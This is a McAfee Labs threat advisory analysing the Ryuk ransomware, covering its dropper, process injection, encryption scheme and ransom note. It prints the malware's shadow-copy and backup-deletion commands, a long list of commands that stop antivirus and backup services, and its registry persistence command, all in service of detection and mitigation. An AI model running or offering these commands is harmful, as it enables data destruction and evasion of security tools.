McAfee Labs Threat Advisory

Ransom-Ryuk

September 25, 2018

McAfee Labs periodically publishes Threat Advisories to provide customers with a detailed analysis of prevalent malware. This Threat Advisory contains behavioral information, characteristics, and symptoms that may be used to mitigate or discover this threat, and suggestions for mitigation in addition to the coverage provided by the DATs.

To receive a notification when a Threat Advisory is published by McAfee Labs, select to receive “Malware and Threat Reports” at the following URL: https://sns.secure.mcafee.com/signup_login.

Summary

Ransom-Ryuk is a family of ransomware that, on execution, encrypts files present on the user’s system. The compromised user must pay the attacker with a ransom to get the files decrypted.

Although, traditionally, ransomware has been known to be distributed via Exploit Kits (EK) and malicious email campaigns, Ransom-Ryuk is suspected to be distributed via targeted attacks. Attackers may already have access to an organization’s network via prior successful hacking/infection attempts.

Detailed information about the threat, its propagation, characteristics, and mitigation are in the following sections:

- Infection and Propagation Vectors
- Mitigation
- Characteristics and Symptoms
- Restart Mechanism
- McAfee Foundstone Services

The minimum DAT versions required for detection are:

Detection Name	MD5 of samples	DAT Version	Date
Ransom-Ryuk, Real Protect-SS!29340643CA2E	29340643ca2e6677c19e1d3bf351d654	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-SS!958C59490993	958c594909933d4c82e93c22850194aa	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-EC!CB0C1248D389	cb0c1248d3899358a375888bb4e8f3fe	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-EC!1354AC0D5BE0	1354ac0d5be0c8d03f4e3aba78d2223e	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-SS!C0202CF6AEAB	c0202cf6aeab8437c638533d14563d35	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-SS!86C314BC2DC3	86c314bc2dc37ba84f7364acd5108c2b	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-LS!5AC0F050F93F	5ac0f050f93f86e69026faea1fbb4450	V2:8994 V3:3445	8/23/2018
Ransom-Ryuk, Real Protect-SS!D348F536E214	d348f536e214a47655af387408b4fca5	V2:8994 V3:3445	8/23/2018

Table 1: Minimum DAT versions for coverage.

The Threat Intelligence Library contains the date that the above signatures were most recently updated. Please review the Threat Intelligence Library for the most up-to-date coverage information.

Infection and Propagation Vectors

- Currently the infection vector of Ransom-Ryuk is unknown.
- Most ransomware campaigns typically spread via Exploit Kits and malspam campaigns instrumented via various botnets.
- Ransom-Ryuk is, however, suspected to be distributed using highly targeted attacks such as brute forcing of RDP connections on unprotected systems in an organization's network.
- Once the attackers have access to the organization's network, Ransom-Ryuk may be deployed to business-critical systems to cause maximum disruption of services and in-turn warrant a considerable ransom.

Mitigation

Mitigating the threat at multiple levels such as file, registry, and URL, can be achieved at various layers of McAfee products. Browse the product guidelines available here to mitigate the threats based on the behavior described below in the Characteristics and symptoms section.

Never open unsolicited emails and their attachments. Also, be wary of suspicious looking advertisements. Customers are advised to regularly update their infrastructure (both operating system and application software) with the latest patches to ensure full coverage in addition to updated McAfee Anti-Virus software.

McAfee Endpoint Security

Mitigation methods for assorted malware is available in the following product guide. Any specific mitigation steps, if necessary, would be described later in this advisory:
http://b2b-download.mcafee.com/products/evaluation/Endpoint_Security/Evaluation/ens_1000_help_0-00_en-us.pdf

ePolicy Orchestrator (ePO)

- To block the access to USB drives through ePO DLP policy, refer to this tutorial.

Endpoint Security 10.x

- Refer to article KB86577 to create an Endpoint Security Threat Prevention user-defined Access Protection Rule for a file or folder registry.

VirusScan Enterprise

- Refer to article KB53346 to use Access Protection policies in VirusScan Enterprise to protect against viruses that can disable regedit.
- Refer to article KB53355 to use Access Protection policies in VirusScan Enterprise to protect against viruses that can disable Task Manager.
- Refer to article KB53356 to use Access Protection policies in VirusScan Enterprise to prevent malware from changing folder options.

Host Intrusion Prevention

- To blacklist applications using a Host Intrusion Prevention custom signature, refer to article KB71329.
- To create an application blocking rules policy to prevent the binary from running, refer to article KB71794.
- To create an application blocking rules policy that prevents a specific executable from hooking any other executable, refer to article KB71794.

McAfee Ransomware Interceptor

- To download and install McAfee Ransomware Interceptor, refer to McAfee Free Tools

Others

- To disable the Autorun feature on Windows remotely using Windows Group Policies, refer to this article from Microsoft.

Characteristics and Symptoms

Ransom-Ryuk Dropper

Ransom-Ryuk begins its infection on an endpoint by execution of a dropper binary. The dropper consists of two additional second-stage binaries which are x86 and x64 versions of the same binary.

On execution the dropper carries out the following sequence of steps:

- Checks the operating system version against a hard-coded value representing Microsoft Windows version 5. That is, it checks to verify if the current OS of the endpoint is Windows XP/Windows 2000.
- The dropper also checks the bitness of the OS (checks if the OS is 32-bit or 64-bit).
- Depending on the bitness of the OS, the dropper writes the second-stage binary into a location on the system depending on the OS version:
  - For Windows XP/Windows 2000: `C:\Documents and Settings\Default User\<random_characters>.exe`
  - For non Windows XP/Windows 2000: `C:\users\Public\<random_characters>.exe`
- Once the second-stage binary is dropped on the filesystem, it is executed by the dropper process using the ShellExecute() API.

Second Stage Binary

The second stage binary may or may not use the path to the original dropper as an argument in its command line parameters. If the path to the dropper is present in the command line to the second stage binary, the dropper binary on disk is deleted by the second stage binary process.

On execution, the second stage binary carries out the following sequence of steps:

- Persistence: Sets up registry persistence for the second stage binary using: cmd.exe /C REG ADD command. More details in the Persistence section below.
- Privileges: The malware now continues to acquire the “SeDebugPrivilege” on the endpoint to elevate its current privileges.
- Process Enumeration: The second stage binary enumerates the list of processes currently running on the system to build a list of processes that are not run under the NT AUTHORITY system account.
- Process selection: This list of processes is further refined based on the criteria that the process name must NOT belong to any of the following process names:

```
csrss.exe
explore.exe
lsaas.exe
```

- Process Injection: Process injection on the selected list of selected processes is carried out using a regular process injection technique where memory is allocated to the remote process, malicious code is written to the process, and then the malicious code is executed via a remote thread in the target process.

Injected Code

The second stage binary injects a copy of itself into a target process and starts a new thread to continue its malicious activities. This code is responsible for encryption of files on all the drives on the system. The ransomware skips encryption of files or directories containing the following keywords:

- `Windows`
- `Mozilla`
- `$RecycleBin`
- `Chrome`
- `AhnLab`

Ransom-Ryuk also has the capability to encrypt files on network shares. This is done by enumerating files on each available network resource and performing subsequent encryption of files.

Encryption Scheme
Ransom-Ryuk uses three sets of keys on the endpoint:

- 3rd level AES (symmetric): Used to encrypt file contents on disk.
- 2nd level RSA key Pair: Used to encrypt the 3rd level AES key and append to the end of encrypted user files. The private key pair here is pre-encrypted with the 1st level RSA public key.
- 1st level RSA Key Pair: The 1st level private key is used to decrypt the 2nd level private key once ransom is paid.

Ransom Notes
Ransom notes are generated in each directory that has been encrypted by the ransomware. These files are usually named “RyukReadMe.txt”.

```
Your network has been penetrated.

All files on each host in the network have been encrypted with a strong algorithm.

Backups were either encrypted or deleted or backup disks were formatted.
Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.

We exclusively have decryption software for your situation
No decryption software is available in the public.

DO NOT RESET OR SHUTDOWN - files may be damaged.
DO NOT RENAME OR MOVE the encrypted and readme files.
DO NOT DELETE readme files.
This may lead to the impossibility of recovery of the certain files.

To get info (decrypt your files) contact us at
WayneEvenson@protonmail.com
or
WayneEvenson@tutanota.com

BTC wallet:
[redacted]

Ryuk

No system is safe
```

Figure: Ransom-Ryuk Ransom Note

System Backup Deletion
The ransomware creates a Windows BAT file named: “window.bat” to create a list of commands to delete backup shadow copies and files. (Its location depends on the OS version.) Commands executed:

```
vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.*
c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.*
d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.*
e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.*
f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.*
g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.*
h:\backup*.* h:\*.set h:\*.win h:\*.dsk
```

Services Stopped on the System
Ransom-Ryuk stops the following services on the endpoint prior to starting its encryption process. These services may be stopped to serve two purposes:

- Stop user/application services on the system to enable successful encryption of their files on disk.
- Stop AV services to disable behavior-based protection services.

Services stopped on the endpoint:

```
stop "Acronis VSS Provider" /y
stop "Enterprise Client Service" /y
stop "Sophos Agent" /y
stop "Sophos AutoUpdate Service" /y
stop "Sophos Clean Service" /y
stop "Sophos Device Control Service" /y
stop "Sophos File Scanner Service" /y
stop "Sophos Health Service" /y
stop "Sophos MCS Agent" /y
stop "Sophos MCS Client" /y
stop "Sophos Message Router" /y
stop "Sophos Safestore Service" /y
stop "Sophos System Protection Service" /y
stop "Sophos Web Control Service" /y
stop "SQLsafe Backup Service" /y
stop "SQLsafe Filter Service" /y
stop "Symantec System Recovery" /y
stop "Veeam Backup Catalog Data Service" /y
stop AcronisAgent /y
stop AcrSch2Svc /y
```

```
stop Antivirus /y
stop ARSM /y
stop BackupExecAgentAccelerator /y
stop BackupExecAgentBrowser /y
stop BackupExecDeviceMediaService /y
stop BackupExecJobEngine /y
stop BackupExecManagementService /y
stop BackupExecRPCService /y
stop BackupExecVSSProvider /y
stop bedbg /y
stop DCAgent /y
stop EPSecurityService /y
stop EPUpdateService /y
stop EraserSvc11710 /y
stop EsgShKernel /y
stop FA_Scheduler /y
stop IISAdmin /y
stop IMAP4Svc /y
stop macmnsvc /y
stop masvc /y
stop MBAMService /y
stop MBEndpointAgent /y
stop McAfeeEngineService /y
stop McAfeeFramework /y
stop McAfeeFrameworkMcAfeeFramework /y
stop McShield /y
stop McTaskManager /y
stop mfemms /y
stop mfevtp /y
stop MMS /y
stop mozyprobackup /y
stop MsDtsServer /y
stop MsDtsServer100 /y
stop MsDtsServer110 /y
stop MSExchangeES /y
stop MSExchangeIS /y
stop MSExchangeMGMT /y
stop MSExchangeMTA /y
stop MSExchangeSA /y
stop MSExchangeSRS /y
stop MSOLAP$SQL_2008 /y
stop MSOLAP$SYSTEM_BGC /y
stop MSOLAP$TPS /y
stop MSOLAP$TPSAMA /y
stop MSSQL$BKUPEXEC /y
stop MSSQL$ECWDB2 /y
stop MSSQL$PRACTICEMGT /y
stop MSSQL$PRACTTICEBGC /y
stop MSSQL$PROFXENGAGEMENT /y
stop MSSQL$SBSMONITORING /y
stop MSSQL$SHAREPOINT /y
stop MSSQL$SQL_2008 /y
stop MSSQL$SYSTEM_BGC /y
stop MSSQL$TPS /y
stop MSSQL$TPSAMA /y
stop MSSQL$VEEAMSQL2008R2 /y
stop MSSQL$VEEAMSQL2012 /y
stop MSSQLFDLauncher /y
stop MSSQLFDLauncher$PROFXENGAGEMENT /y
stop MSSQLFDLauncher$SBSMONITORING /y
stop MSSQLFDLauncher$SHAREPOINT /y
stop MSSQLFDLauncher$SQL_2008 /y
stop MSSQLFDLauncher$SYSTEM_BGC /y
stop MSSQLFDLauncher$TPS /y
stop MSSQLFDLauncher$TPSAMA /y
stop MSSQLSERVER /y
stop MSSQLServerADHelper100 /y
stop MSSQLServerOLAPService /y
stop MySQL80 /y
stop MySQL57 /y
```

```
stop ntrtscan /y
stop OracleClientCache80 /y
stop PDVFSService /y
stop POP3Svc /y
stop ReportServer /y
stop ReportServer$SQL_2008 /y
stop ReportServer$SYSTEM_BGC /y
stop ReportServer$TPS /y
stop ReportServer$TPSAMA /y
stop RESvc /y
stop sacsvr /y
stop SamSs /y
stop SAVAdminService /y
stop SAVService /y
stop SDRSVC /y
stop SepMasterService /y
stop ShMonitor /y
stop Smcinst /y
stop SmcService /y
stop SMTPSvc /y
stop SNAC /y
stop SntpService /y
stop sophossps /y
stop SQLAgent$BKUPEXEC /y
stop SQLAgent$ECWDB2 /y
stop SQLAgent$PRACTTICEBGC /y
stop SQLAgent$PRACTTICEMGT /y
stop SQLAgent$PROFXENGAGEMENT /y
stop SQLAgent$SBSMONITORING /y
stop SQLAgent$SHAREPOINT /y
stop SQLAgent$SQL_2008 /y
stop SQLAgent$SYSTEM_BGC /y
stop SQLAgent$TPS /y
stop SQLAgent$TPSAMA /y
stop SQLAgent$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2012 /y
stop SQLBrowser /y
stop SQLSafeOLRService /y
stop SQLSERVERAGENT /y
stop SQLTELEMETRY /y
stop SQLTELEMETRY$ECWDB2 /y
stop SQLWriter /y
stop SstpSvc /y
stop svcGenericHost /y
stop swi_filter /y
stop swi_service /y
stop swi_update_64 /y
stop TmCCSF /y
stop tmlisten /y
stop TrueKey /y
stop TrueKeyScheduler /y
stop TrueKeyServiceHelper /y
stop UI0Detect /y
stop VeeamBackupSvc /y
stop VeeamBrokerSvc /y
stop VeeamCatalogSvc /y
stop VeeamCloudSvc /y
stop VeeamDeploymentService /y
stop VeeamDeploySvc /y
stop VeeamEnterpriseManagerSvc /y
stop VeeamMountSvc /y
stop VeeamNFSSvc /y
stop VeeamRESTSvc /y
stop VeeamTransportSvc /y
stop W3Svc /y
stop wbengine /y
stop WRSVC /y
stop MSSQL$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2008R2 /y
stop VeeamHvIntegrationSvc /y
```

```
stop swi_update /y
stop SQLAgent$CXDB /y
stop SQLAgent$CITRIX_METAFRAME /y
stop "SQL Backups" /y
stop MSSQL$PROD /y
stop "Zoolz 2 Service" /y
stop MSSQLServerADHelper /y
stop SQLAgent$PROD /y
stop msftesql$PROD /y
stop NetMsmqActivator /y
stop EhttpSrv /y
stop ekrn /y
stop ESHASRV /y
stop MSSQL$SOPHOS /y
stop SQLAgent$SOPHOS /y
stop AVP /y
stop klnagent /y
stop MSSQL$SQLEXPRESS /y
stop SQLAgent$SQLEXPRESS /y
stop wbengine /y
stop kavfsslp /y
stop KAVFSGT /y
stop KAVFS /y
stop mfefire /y
```

Miscellaneous Functionality

- The second stage binary also creates the following files on disk:
  - For Windows XP/Windows 2000: `C:\Documents and Settings\Default User\sys`
  - For non Windows XP/Windows 2000: `C:\users\Public\sys`
  - For Windows XP/Windows 2000: `C:\Documents and Settings\Default User\finish`
  - For non Windows XP/Windows 2000: `C:\users\Public\finish`

Restart Mechanism

The following registry entry would enable the malware to execute every time when Windows starts:

- The second stage binary sets up persistence on the system by executing the following command:

  C:\Windows\system32\cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "<Path_to_2nd_stage_binary>" /f

  The value of the Run key consists of the path of the second stage binary.

Getting Help from the McAfee Foundstone Services team

This document is intended to provide a summary of current intelligence and best practices to ensure the highest level of protection from your McAfee security solution. The McAfee Foundstone Services team offers a full range of strategic and technical consulting services that can further help to ensure that you identify security risk and build effective solutions to remediate security vulnerabilities.

You can reach them here: https://secure.mcafee.com/apps/services/services-contact.aspx

This Advisory is for the education and convenience of McAfee customers. We try to ensure the accuracy, relevance, and timeliness of the information and events described; they are subject to change without notice.